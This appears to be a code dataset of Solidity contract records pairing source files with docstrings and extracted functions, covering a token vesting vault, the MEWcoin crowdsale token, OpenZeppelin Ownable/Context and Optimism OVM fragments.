function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract VestingVault12 {
using SafeMath for uint256;
using SafeMath for uint16;
modifier onlyV12MultiSig {
require(msg.sender == v12MultiSig, "not owner");
_;
}
modifier onlyValidAddress(address _recipient) {
require(_recipient != address(0) && _recipient != address(this) && _recipient != address(token), "not valid _recipient");
_;
}
uint256 constant internal SECONDS_PER_DAY = 86400;
struct Grant {
uint256 startTime;
uint256 amount;
uint16 vestingDuration;
uint16 vestingCliff;
uint16 daysClaimed;
uint256 totalClaimed;
address recipient;
}
event GrantAdded(address indexed recipient, uint256 vestingId);
event GrantTokensClaimed(address indexed recipient, uint256 amountClaimed);
event GrantRemoved(address recipient, uint256 amountVested, uint256 amountNotVested);
event ChangedMultisig(address multisig);
ERC20 public token;
mapping (uint256 => Grant) public tokenGrants;
mapping (address => uint[]) private activeGrants;
address public v12MultiSig;
uint256 public totalVestingCount;
constructor(ERC20 _token) public {
require(address(_token) != address(0));
v12MultiSig = msg.sender;
token = _token;
}
function addTokenGrant(
address _recipient,
uint256 _startTime,
uint256 _amount,
uint16 _vestingDurationInDays,
uint16 _vestingCliffInDays
)
external
onlyV12MultiSig
{
require(_vestingCliffInDays <= 10*365, "more than 10 years");
require(_vestingDurationInDays <= 25*365, "more than 25 years");
require(_vestingDurationInDays >= _vestingCliffInDays, "Duration < Cliff");
uint256 amountVestedPerDay = _amount.div(_vestingDurationInDays);
require(amountVestedPerDay > 0, "amountVestedPerDay > 0");
// Transfer the grant tokens under the control of the vesting contract
require(token.transferFrom(v12MultiSig, address(this), _amount), "transfer failed");
Grant memory grant = Grant({
startTime: _startTime == 0 ? currentTime() : _startTime,
amount: _amount,
vestingDuration: _vestingDurationInDays,
vestingCliff: _vestingCliffInDays,
daysClaimed: 0,
totalClaimed: 0,
recipient: _recipient
});
tokenGrants[totalVestingCount] = grant;
activeGrants[_recipient].push(totalVestingCount);
emit GrantAdded(_recipient, totalVestingCount);
totalVestingCount++;
}
function getActiveGrants(address _recipient) public view returns(uint256[]){
return activeGrants[_recipient];
}
/// @notice Calculate the vested and unclaimed months and tokens available for `_grantId` to claim
/// Due to rounding errors once grant duration is reached, returns the entire left grant amount
/// Returns (0, 0) if cliff has not been reached
function calculateGrantClaim(uint256 _grantId) public view returns (uint16, uint256) {
Grant storage tokenGrant = tokenGrants[_grantId];
// For grants created with a future start date, that hasn't been reached, return 0, 0
if (currentTime() < tokenGrant.startTime) {
return (0, 0);
}
// Check cliff was reached
uint elapsedTime = currentTime().sub(tokenGrant.startTime);
uint elapsedDays = elapsedTime.div(SECONDS_PER_DAY);
if (elapsedDays < tokenGrant.vestingCliff) {
return (uint16(elapsedDays), 0);
}
// If over vesting duration, all tokens vested
if (elapsedDays >= tokenGrant.vestingDuration) {
uint256 remainingGrant = tokenGrant.amount.sub(tokenGrant.totalClaimed);
return (tokenGrant.vestingDuration, remainingGrant);
} else {
uint16 daysVested = uint16(elapsedDays.sub(tokenGrant.daysClaimed));
uint256 amountVestedPerDay = tokenGrant.amount.div(uint256(tokenGrant.vestingDuration));
uint256 amountVested = uint256(daysVested.mul(amountVestedPerDay));
return (daysVested, amountVested);
}
}
/// @notice Allows a grant recipient to claim their vested tokens. Errors if no tokens have vested
/// It is advised recipients check they are entitled to claim via `calculateGrantClaim` before calling this
function claimVestedTokens(uint256 _grantId) external {
uint16 daysVested;
uint256 amountVested;
(daysVested, amountVested) = calculateGrantClaim(_grantId);
require(amountVested > 0, "amountVested is 0");
Grant storage tokenGrant = tokenGrants[_grantId];
tokenGrant.daysClaimed = uint16(tokenGrant.daysClaimed.add(daysVested));
tokenGrant.totalClaimed = uint256(tokenGrant.totalClaimed.add(amountVested));
require(token.transfer(tokenGrant.recipient, amountVested), "no tokens");
emit GrantTokensClaimed(tokenGrant.recipient, amountVested);
}
/// @notice Terminate token grant transferring all vested tokens to the `_grantId`
/// and returning all non-vested tokens to the V12 MultiSig
/// Secured to the V12 MultiSig only
/// @param _grantId grantId of the token grant recipient
function removeTokenGrant(uint256 _grantId)
external
onlyV12MultiSig
{
Grant storage tokenGrant = tokenGrants[_grantId];
address recipient = tokenGrant.recipient;
uint16 daysVested;
uint256 amountVested;
(daysVested, amountVested) = calculateGrantClaim(_grantId);
uint256 amountNotVested = (tokenGrant.amount.sub(tokenGrant.totalClaimed)).sub(amountVested);
require(token.transfer(recipient, amountVested));
require(token.transfer(v12MultiSig, amountNotVested));
tokenGrant.startTime = 0;
tokenGrant.amount = 0;
tokenGrant.vestingDuration = 0;
tokenGrant.vestingCliff = 0;
tokenGrant.daysClaimed = 0;
tokenGrant.totalClaimed = 0;
tokenGrant.recipient = address(0);
emit GrantRemoved(recipient, amountVested, amountNotVested);
}
function currentTime() private view returns(uint256) {
return block.timestamp;
}
function tokensVestedPerDay(uint256 _grantId) public view returns(uint256) {
Grant storage tokenGrant = tokenGrants[_grantId];
return tokenGrant.amount.div(uint256(tokenGrant.vestingDuration));
}
function changeMultiSig(address _newMultisig)
external
onlyV12MultiSig
onlyValidAddress(_newMultisig)
{
v12MultiSig = _newMultisig;
emit ChangedMultisig(_newMultisig);
}
}
|
Terminate token grant transferring all vested tokens to the `_grantId` and returning all non-vested tokens to the V12 MultiSig Secured to the V12 MultiSig only _grantId grantId of the token grant recipient
|
function removeTokenGrant(uint256 _grantId)
external
onlyV12MultiSig
{
Grant storage tokenGrant = tokenGrants[_grantId];
address recipient = tokenGrant.recipient;
uint16 daysVested;
uint256 amountVested;
(daysVested, amountVested) = calculateGrantClaim(_grantId);
uint256 amountNotVested = (tokenGrant.amount.sub(tokenGrant.totalClaimed)).sub(amountVested);
require(token.transfer(recipient, amountVested));
require(token.transfer(v12MultiSig, amountNotVested));
tokenGrant.startTime = 0;
tokenGrant.amount = 0;
tokenGrant.vestingDuration = 0;
tokenGrant.vestingCliff = 0;
tokenGrant.daysClaimed = 0;
tokenGrant.totalClaimed = 0;
tokenGrant.recipient = address(0);
emit GrantRemoved(recipient, amountVested, amountNotVested);
}
| 10,616,729 |
pragma solidity ^0.4.24;
//test rinkeby address: {ec8d36aec0ee4105b7a36b9aafaa2b6c18585637}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a==0)
{
return 0;
}
uint256 c = a * b;
assert(c / a == b); // assert on overflow
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic
{
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic
{
// founder details
address public constant FOUNDER_ADDRESS1 = 0xcb8Fb8Bf927e748c0679375B26fb9f2F12f3D5eE;
address public constant FOUNDER_ADDRESS2 = 0x1Ebfe7c17a22E223965f7B80c02D3d2805DFbE5F;
address public constant FOUNDER_ADDRESS3 = 0x9C5076C3e95C0421699A6D9d66a219BF5Ba5D826;
address public constant FOUNDER_FUND_1 = 9000000000;
address public constant FOUNDER_FUND_2 = 9000000000;
address public constant FOUNDER_FUND_3 = 7000000000;
// deposit address for reserve / crowdsale
address public constant MEW_RESERVE_FUND = 0xD11ffBea1cE043a8d8dDDb85F258b1b164AF3da4; // multisig
address public constant MEW_CROWDSALE_FUND = 0x842C4EA879050742b42c8b2E43f1C558AD0d1741; // multisig
uint256 public constant decimals = 18;
using SafeMath for uint256;
mapping(address => uint256) balances;
// all initialised to false - do we want multi-state? maybe...
mapping(address => uint256) public mCanSpend;
mapping(address => uint256) public mEtherSpent;
int256 public mEtherValid;
int256 public mEtherInvalid;
// real
// standard unlocked tokens will vest immediately on the prime vesting date
// founder tokens will vest at a rate per day
uint256 public constant TOTAL_RESERVE_FUND = 40 * (10**9) * 10**decimals; // 40B reserve created before sale
uint256 public constant TOTAL_CROWDSALE_FUND = 60 * (10**9) * 10**decimals; // 40B reserve created before sale
uint256 public PRIME_VESTING_DATE = 0xffffffffffffffff; // will set to rough dates then fix at end of sale
uint256 public FINAL_AML_DATE = 0xffffffffffffffff; // will set to rough date + 3 months then fix at end of sale
uint256 public constant FINAL_AML_DAYS = 90;
uint256 public constant DAYSECONDS = 24*60*60;//86400; // 1 day in seconds // 1 minute vesting
mapping(address => uint256) public mVestingDays; // number of days to fully vest
mapping(address => uint256) public mVestingBalance; // total balance which will vest
mapping(address => uint256) public mVestingSpent; // total spent
mapping(address => uint256) public mVestingBegins; // total spent
mapping(address => uint256) public mVestingAllowed; // really just for checking
// used to enquire about the ether spent to buy the tokens
function GetEtherSpent(address from) view public returns (uint256)
{
return mEtherSpent[from];
}
// removes tokens and returns them to the main pool
// this is called if
function RevokeTokens(address target) internal
{
//require(mCanSpend[from]==0),"Can only call this if AML hasn't been completed correctly");
// block this address from further spending
require(mCanSpend[target]!=9);
mCanSpend[target]=9;
uint256 _value = balances[target];
balances[target] = 0;//just wipe the balance
balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].add(_value);
// let the blockchain know its been revoked
emit Transfer(target, MEW_RESERVE_FUND, _value);
}
function LockedCrowdSale(address target) view internal returns (bool)
{
if (mCanSpend[target]==0 && mEtherSpent[target]>0)
{
return true;
}
return false;
}
function CheckRevoke(address target) internal returns (bool)
{
// roll vesting / dates and AML in to a single function
// this will stop coins being spent on new addresses until after
// we know if they took part in the crowdsale by checking if they spent ether
if (LockedCrowdSale(target))
{
if (block.timestamp>FINAL_AML_DATE)
{
RevokeTokens(target);
return true;
}
}
return false;
}
function ComputeVestSpend(address target) public returns (uint256)
{
require(mCanSpend[target]==2); // only compute for vestable accounts
int256 vestingDays = int256(mVestingDays[target]);
int256 vestingProgress = (int256(block.timestamp)-int256(mVestingBegins[target]))/(int256(DAYSECONDS));
// cap the vesting
if (vestingProgress>vestingDays)
{
vestingProgress=vestingDays;
}
// whole day vesting e.g. day 0 nothing vested, day 1 = 1 day vested
if (vestingProgress>0)
{
int256 allowedVest = ((int256(mVestingBalance[target])*vestingProgress))/vestingDays;
int256 combined = allowedVest-int256(mVestingSpent[target]);
// store the combined value so people can see their vesting (useful for debug too)
mVestingAllowed[target] = uint256(combined);
return uint256(combined);
}
// no vesting allowed
mVestingAllowed[target]=0;
// cannot spend anything
return 0;
}
// 0 locked
// 1 unlocked
// 2 vestable
function canSpend(address from, uint256 amount) internal returns (bool permitted)
{
uint256 currentTime = block.timestamp;
// refunded / blocked
if (mCanSpend[from]==8)
{
return false;
}
// revoked / blocked
if (mCanSpend[from]==9)
{
return false;
}
// roll vesting / dates and AML in to a single function
// this will stop coins being spent on new addresses until after
if (LockedCrowdSale(from))
{
return false;
}
if (mCanSpend[from]==1)
{
// tokens can only move when sale is finished
if (currentTime>PRIME_VESTING_DATE)
{
return true;
}
return false;
}
// special vestable tokens
if (mCanSpend[from]==2)
{
if (ComputeVestSpend(from)>=amount)
{
return true;
}
else
{
return false;
}
}
return false;
}
// 0 locked
// 1 unlocked
// 2 vestable
function canTake(address from) view public returns (bool permitted)
{
uint256 currentTime = block.timestamp;
// refunded / blocked
if (mCanSpend[from]==8)
{
return false;
}
// revoked / blocked
if (mCanSpend[from]==9)
{
return false;
}
// roll vesting / dates and AML in to a single function
// this will stop coins being spent on new addresses until after
if (LockedCrowdSale(from))
{
return false;
}
if (mCanSpend[from]==1)
{
// tokens can only move when sale is finished
if (currentTime>PRIME_VESTING_DATE)
{
return true;
}
return false;
}
// special vestable tokens
if (mCanSpend[from]==2)
{
return false;
}
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool success)
{
// check to see if we should revoke (and revoke if so)
if (CheckRevoke(msg.sender)||CheckRevoke(_to))
{
return false;
}
require(canSpend(msg.sender, _value)==true);//, "Cannot spend this amount - AML or not vested")
require(canTake(_to)==true); // must be aml checked or unlocked wallet no vesting
if (balances[msg.sender] >= _value)
{
// deduct the spend first (this is unlikely attack vector as only a few people will have vesting tokens)
// special tracker for vestable funds - if have a date up
if (mCanSpend[msg.sender]==2)
{
mVestingSpent[msg.sender] = mVestingSpent[msg.sender].add(_value);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
// set can spend on destination as it will be transferred from approved wallet
mCanSpend[_to]=1;
return true;
}
else
{
return false;
}
}
// in the light of our sanity allow a utility to whole number of tokens and 1/10000 token transfer
function simpletransfer(address _to, uint256 _whole, uint256 _fraction) public returns (bool success)
{
require(_fraction<10000);//, "Fractional part must be less than 10000");
uint256 main = _whole.mul(10**decimals); // works fine now i've removed the retarded divide by 0 assert in safemath
uint256 part = _fraction.mul(10**14);
uint256 value = main + part;
// just call the transfer
return transfer(_to, value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 returnbalance)
{
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic
{
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken
{
// need to add
// also need
// invalidate - used to drop all unauthorised buyers, return their tokens to reserve
// freespend - all transactions now allowed - this could be used to vest tokens?
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
{
// check to see if we should revoke (and revoke if so)
if (CheckRevoke(msg.sender)||CheckRevoke(_to))
{
return false;
}
require(canSpend(_from, _value)== true);//, "Cannot spend this amount - AML or not vested")
require(canTake(_to)==true); // must be aml checked or unlocked wallet no vesting
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value)
{
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
// set can spend on destination as it will be transferred from approved wallet
mCanSpend[_to]=1;
// special tracker for vestable funds - if have a date set
if (mCanSpend[msg.sender]==2)
{
mVestingSpent[msg.sender] = mVestingSpent[msg.sender].add(_value);
}
return true;
}
else
{
// endsigning();
return false;
}
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool)
{
// check to see if we should revoke (and revoke if so)
if (CheckRevoke(msg.sender))
{
return false;
}
require(canSpend(msg.sender, _value)==true);//, "Cannot spend this amount - AML or not vested");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success)
{
// check to see if we should revoke (and revoke if so)
if (CheckRevoke(msg.sender))
{
return false;
}
require(canSpend(msg.sender, _addedValue)==true);//, "Cannot spend this amount - AML or not vested");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success)
{
// check to see if we should revoke (and revoke if so)
if (CheckRevoke(msg.sender))
{
return false;
}
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of 'user permissions'.
*/
contract Ownable
{
address public owner;
address internal auxOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public
{
address newOwner = msg.sender;
owner = 0;
owner = newOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner()
{
require(msg.sender == owner || msg.sender==auxOwner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public
{
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable
{
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 internal mCanPurchase = 1;
uint256 internal mSetupReserve = 0;
uint256 internal mSetupCrowd = 0;
//test
uint256 public constant MINIMUM_ETHER_SPEND = (250 * 10**(decimals-3));
uint256 public constant MAXIMUM_ETHER_SPEND = 300 * 10**decimals;
//real
//uint256 public constant MINIMUM_ETHER_SPEND = (250 * 10**(decimals-3));
//uint256 public constant MAXIMUM_ETHER_SPEND = 300 * 10**decimals;
modifier canMint()
{
require(!mintingFinished);
_;
}
function allocateVestable(address target, uint256 amount, uint256 vestdays, uint256 vestingdate) public onlyOwner
{
//require(msg.sender==CONTRACT_CREATOR, "You are not authorised to create vestable token users");
// check if we have permission to get in here
//checksigning();
// prevent anyone except contract signatories from creating their own vestable
// essentially set up a final vesting date
uint256 vestingAmount = amount * 10**decimals;
// set up the vesting params
mCanSpend[target]=2;
mVestingBalance[target] = vestingAmount;
mVestingDays[target] = vestdays;
mVestingBegins[target] = vestingdate;
mVestingSpent[target] = 0;
// load the balance of the actual token fund
balances[target] = vestingAmount;
// if the tokensale is finalised then use the crowdsale fund which SHOULD be empty.
// this means we can create new vesting tokens if necessary but only if crowdsale fund has been preload with MEW using multisig wallet
if (mCanPurchase==0)
{
require(vestingAmount <= balances[MEW_CROWDSALE_FUND]);//, "Not enough MEW to allocate vesting post crowdsale");
balances[MEW_CROWDSALE_FUND] = balances[MEW_CROWDSALE_FUND].sub(vestingAmount);
// log transfer
emit Transfer(MEW_CROWDSALE_FUND, target, vestingAmount);
}
else
{
// deduct tokens from reserve before crowdsale
require(vestingAmount <= balances[MEW_RESERVE_FUND]);//, "Not enough MEW to allocate vesting during setup");
balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].sub(vestingAmount);
// log transfer
emit Transfer(MEW_RESERVE_FUND, target, vestingAmount);
}
}
function SetAuxOwner(address aux) onlyOwner public
{
require(auxOwner == 0);//, "Cannot replace aux owner once it has been set");
// sets the auxilliary owner as the contract owns this address not the creator
auxOwner = aux;
}
function Purchase(address _to, uint256 _ether, uint256 _amount, uint256 exchange) onlyOwner public returns (bool)
{
require(mCanSpend[_to]==0); // cannot purchase to a validated or vesting wallet (probably works but more debug checks)
require(mSetupCrowd==1);//, "Only purchase during crowdsale");
require(mCanPurchase==1);//,"Can only purchase during a sale");
require( _amount >= MINIMUM_ETHER_SPEND * exchange);//, "Must spend at least minimum ether");
require( (_amount+balances[_to]) <= MAXIMUM_ETHER_SPEND * exchange);//, "Must not spend more than maximum ether");
// bail if we're out of tokens (will be amazing if this happens but hey!)
if (balances[MEW_CROWDSALE_FUND]<_amount)
{
return false;
}
// lock the tokens for AML - early to prevent transact hack
mCanSpend[_to] = 0;
// add these ether to the invalid count unless checked
if (mCanSpend[_to]==0)
{
mEtherInvalid = mEtherInvalid + int256(_ether);
}
else
{
// valid AML checked ether
mEtherValid = mEtherValid + int256(_ether);
}
// store how much ether was spent
mEtherSpent[_to] = _ether;
// broken up to prevent recursive spend hacks (safemath probably does but just in case)
uint256 newBalance = balances[_to].add(_amount);
uint256 newCrowdBalance = balances[MEW_CROWDSALE_FUND].sub(_amount);
balances[_to]=0;
balances[MEW_CROWDSALE_FUND] = 0;
// add in to personal fund
balances[_to] = newBalance;
balances[MEW_CROWDSALE_FUND] = newCrowdBalance;
emit Transfer(MEW_CROWDSALE_FUND, _to, _amount);
return true;
}
function Unlock_Tokens(address target) public onlyOwner
{
require(mCanSpend[target]==0);//,"Unlocking would fail");
// unlocks locked tokens - must be called on every token wallet after AML check
//unlocktokens(target);
mCanSpend[target]=1;
// get how much ether this person spent on their tokens
uint256 etherToken = mEtherSpent[target];
// if this is called the ether are now valid and can be spent
mEtherInvalid = mEtherInvalid - int256(etherToken);
mEtherValid = mEtherValid + int256(etherToken);
}
function Revoke(address target) public onlyOwner
{
// revokes tokens and returns to the reserve
// designed to be used for refunds or to try to reverse theft via phishing etc
RevokeTokens(target);
}
function BlockRefunded(address target) public onlyOwner
{
require(mCanSpend[target]!=8);
// clear the spent ether
//mEtherSpent[target]=0;
// refund marker
mCanSpend[target]=8;
// does not refund just blocks account from being used for tokens ever again
mEtherInvalid = mEtherInvalid-int256(mEtherSpent[target]);
}
function SetupReserve(address multiSig) public onlyOwner
{
require(mSetupReserve==0);//, "Reserve has already been initialised");
require(multiSig>0);//, "Wallet is not valid");
// address the mew reserve fund as the multisig wallet
//MEW_RESERVE_FUND = multiSig;
// create the reserve
mint(MEW_RESERVE_FUND, TOTAL_RESERVE_FUND);
// vesting allocates from the reserve fund
allocateVestable(FOUNDER_ADDRESS1, 9000000000, 365, PRIME_VESTING_DATE);
allocateVestable(FOUNDER_ADDRESS2, 9000000000, 365, PRIME_VESTING_DATE);
allocateVestable(FOUNDER_ADDRESS3, 7000000000, 365, PRIME_VESTING_DATE);
}
function SetupCrowdSale() public onlyOwner
{
require(mSetupCrowd==0);//, "Crowdsale has already been initalised");
// create the reserve
mint(MEW_CROWDSALE_FUND, TOTAL_CROWDSALE_FUND);
// crowd initialised
mSetupCrowd=1;
}
function CloseSaleFund() public onlyOwner
{
uint256 remainingFund;
remainingFund = balances[MEW_CROWDSALE_FUND];
balances[MEW_CROWDSALE_FUND] = 0;
balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].add(remainingFund);
// notify the network
emit Transfer(MEW_CROWDSALE_FUND, MEW_RESERVE_FUND, remainingFund);
// set up the prime vesting date - ie immediate
// set up the aml date
PRIME_VESTING_DATE = block.timestamp;
FINAL_AML_DATE = PRIME_VESTING_DATE + FINAL_AML_DAYS*DAYSECONDS;
// update vesting date (sale end)
mVestingBegins[FOUNDER_ADDRESS1]=PRIME_VESTING_DATE;
mVestingBegins[FOUNDER_ADDRESS2]=PRIME_VESTING_DATE;
mVestingBegins[FOUNDER_ADDRESS3]=PRIME_VESTING_DATE;
// block further token purchasing (forever)
mCanPurchase = 0;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
// allow this minted money to be spent immediately
mCanSpend[_to] = 1;
emit Mint(_to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool)
{
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MEWcoin is MintableToken
{
string public constant name = "MEWcoin (Official vFloorplan Ltd 30/07/18)";
string public constant symbol = "MEW";
string public version = "1.0";
}
|
notify the network set up the prime vesting date - ie immediate set up the aml date update vesting date (sale end) block further token purchasing (forever)
|
function CloseSaleFund() public onlyOwner
{
uint256 remainingFund;
remainingFund = balances[MEW_CROWDSALE_FUND];
balances[MEW_CROWDSALE_FUND] = 0;
balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].add(remainingFund);
emit Transfer(MEW_CROWDSALE_FUND, MEW_RESERVE_FUND, remainingFund);
PRIME_VESTING_DATE = block.timestamp;
FINAL_AML_DATE = PRIME_VESTING_DATE + FINAL_AML_DAYS*DAYSECONDS;
mVestingBegins[FOUNDER_ADDRESS1]=PRIME_VESTING_DATE;
mVestingBegins[FOUNDER_ADDRESS2]=PRIME_VESTING_DATE;
mVestingBegins[FOUNDER_ADDRESS3]=PRIME_VESTING_DATE;
mCanPurchase = 0;
}
| 12,140,335 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
import { iOVM_BondManager } from "../../iOVM/verification/iOVM_BondManager.sol";
import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol";
/// Minimal contract to be inherited by contracts consumed by users that provide
/// data for fraud proofs
abstract contract Abs_FraudContributor is Lib_AddressResolver {
/// Decorate your functions with this modifier to store how much total gas was
/// consumed by the sender, to reward users fairly
modifier contributesToFraudProof(bytes32 preStateRoot, bytes32 txHash) {
uint256 startGas = gasleft();
_;
uint256 gasSpent = startGas - gasleft();
iOVM_BondManager(resolve('OVM_BondManager')).recordGasSpent(preStateRoot, txHash, msg.sender, gasSpent);
}
}
// SPDX-License-Identifier: MIT
// @unsupported: ovm
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/* Library Imports */
import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol";
import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol";
import { Lib_EthUtils } from "../../libraries/utils/Lib_EthUtils.sol";
import { Lib_Bytes32Utils } from "../../libraries/utils/Lib_Bytes32Utils.sol";
import { Lib_BytesUtils } from "../../libraries/utils/Lib_BytesUtils.sol";
import { Lib_SecureMerkleTrie } from "../../libraries/trie/Lib_SecureMerkleTrie.sol";
import { Lib_RLPWriter } from "../../libraries/rlp/Lib_RLPWriter.sol";
import { Lib_RLPReader } from "../../libraries/rlp/Lib_RLPReader.sol";
/* Interface Imports */
import { iOVM_StateTransitioner } from "../../iOVM/verification/iOVM_StateTransitioner.sol";
